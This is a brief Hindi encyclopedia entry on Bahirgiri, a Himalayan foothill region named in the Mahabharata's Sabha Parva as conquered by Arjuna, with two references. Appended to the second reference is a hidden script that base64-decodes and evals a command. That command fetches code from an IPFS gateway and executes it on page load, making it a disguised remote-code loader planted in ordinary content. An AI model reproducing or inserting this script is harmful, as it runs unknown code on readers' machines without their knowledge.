बहिर्गिरि

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बहिर्गिरि का उल्लेख महाभारत, सभापर्व में हुआ है। इस उल्लेख के अनुसार अपनी दिग्विजय यात्रा के प्रसंग में पाण्डव अर्जुन ने 'अंतर्गिरि', 'बहिर्गिरि' और 'उपगिरि' नामक हिमालय के पर्वतीय प्रदेशों को विजित किया था-

'अंतर्गिरि च कौंतेयस्तेथैव च बहिर्गिरिम् तथैवोपगिरि चैव विजिग्वे पुरुषषैभ:।'[1]

  • बहिर्गिरि हिमालय का बाहरी भाग अथवा निचला तराई वाला क्षेत्र है।[2]


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टीका टिप्पणी और संदर्भ

  1. महाभारत, सभापर्व 27, 3
  2. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 615 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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